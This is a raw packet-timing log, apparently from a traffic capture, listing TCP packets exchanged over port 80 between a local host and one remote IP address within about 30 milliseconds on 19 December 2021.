Dec 19, 2021 21:13:24.567699909 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567720890 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.567750931 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567760944 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.567775965 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567800999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.567820072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567840099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.567878962 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.567898035 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567914963 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567918062 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.567934990 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567956924 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.567981005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.567996979 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568043947 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568059921 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568083048 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568084002 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568089962 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568124056 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568161964 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568169117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568200111 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568213940 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568238974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568252087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568274975 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568278074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568285942 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568317890 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568336010 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568355083 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568381071 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568396091 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568420887 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568435907 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568440914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568473101 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568512917 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568543911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568552971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568555117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568561077 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568594933 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568623066 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568634987 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568655014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568679094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568708897 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568718910 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568738937 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568759918 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568798065 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568810940 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568820953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568835974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568852901 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568881989 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568900108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568937063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.568948030 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.568975925 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569003105 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569015980 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569031954 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569052935 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569092035 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569099903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569129944 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569139957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569165945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569176912 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569190025 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569216013 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569252968 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569266081 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569278002 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569293022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569307089 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569334030 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569338083 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569372892 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569389105 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569415092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569453955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569467068 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569477081 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569490910 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569504976 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569530010 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569536924 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569571018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569595098 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569622040 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569637060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569664001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569700956 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569709063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569715977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569746971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569751024 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569786072 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569799900 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569823027 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569832087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569863081 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569876909 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569901943 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569909096 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569943905 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569960117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.569983959 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.569997072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570022106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570060015 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570071936 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570096970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570111036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570126057 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570149899 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570188999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570215940 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570224047 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570226908 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570245028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570266962 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570283890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570311069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570317984 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570352077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570362091 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570401907 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570431948 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570441961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570445061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570478916 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570502043 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570518017 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570525885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570557117 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570563078 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570595980 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570610046 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570636988 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570674896 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570687056 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570704937 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570713997 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570717096 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570753098 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570770025 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570789099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570805073 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570835114 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570841074 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570873022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570885897 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570911884 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570919037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570951939 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570985079 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.570990086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.570992947 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571028948 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571044922 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571068048 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571095943 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571105003 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571131945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571145058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571154118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571183920 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571192026 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571223974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571258068 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571263075 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571279049 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571300983 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571319103 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571341991 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571350098 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571382999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571383953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571419954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571459055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571477890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571496964 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571502924 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571536064 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571557999 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571574926 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571589947 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571613073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571618080 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571651936 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571691036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571702957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571727991 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571741104 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571767092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571780920 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571805954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571819067 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571845055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571858883 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.571886063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.571938038 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595654964 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595705986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595733881 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595740080 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595772982 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595784903 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595805883 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595818996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595837116 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595850945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595870018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595881939 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595902920 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595916986 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595933914 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595958948 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595966101 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.595984936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.595999956 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596004963 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596030951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596061945 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596084118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596092939 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596124887 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596124887 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596149921 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596155882 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596188068 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596199989 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596219063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596240044 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596251011 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596281052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596292019 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596319914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596339941 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596364975 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596404076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596436024 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596467018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596498966 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596525908 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596534014 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596534967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596546888 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596553087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596565962 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596582890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596599102 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596621037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596630096 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596633911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596662045 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596684933 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596736908 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.596924067 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.596992970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597011089 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597033978 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597043037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597073078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597121954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597137928 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597161055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597168922 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597202063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597210884 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597244024 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597287893 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597301006 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597327948 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597336054 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597368002 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597383976 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597409010 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597410917 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597449064 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597486973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597500086 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597527981 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597532034 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597568035 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597589970 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597606897 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597611904 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597659111 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597668886 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597701073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597714901 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597739935 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597747087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597779036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597836018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597850084 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597875118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597888947 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597914934 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597922087 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597955942 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.597964048 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.597996950 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598037004 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598045111 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598063946 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598076105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598093033 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598115921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598120928 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598155975 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598159075 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598195076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598210096 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598237038 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598277092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598285913 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598304033 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598318100 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598320007 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598361969 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598385096 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598412037 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598436117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598452091 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598459005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598490953 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598500013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598530054 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598568916 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598584890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598592043 CET	49789	80	192.168.2.3	185.29.11.112
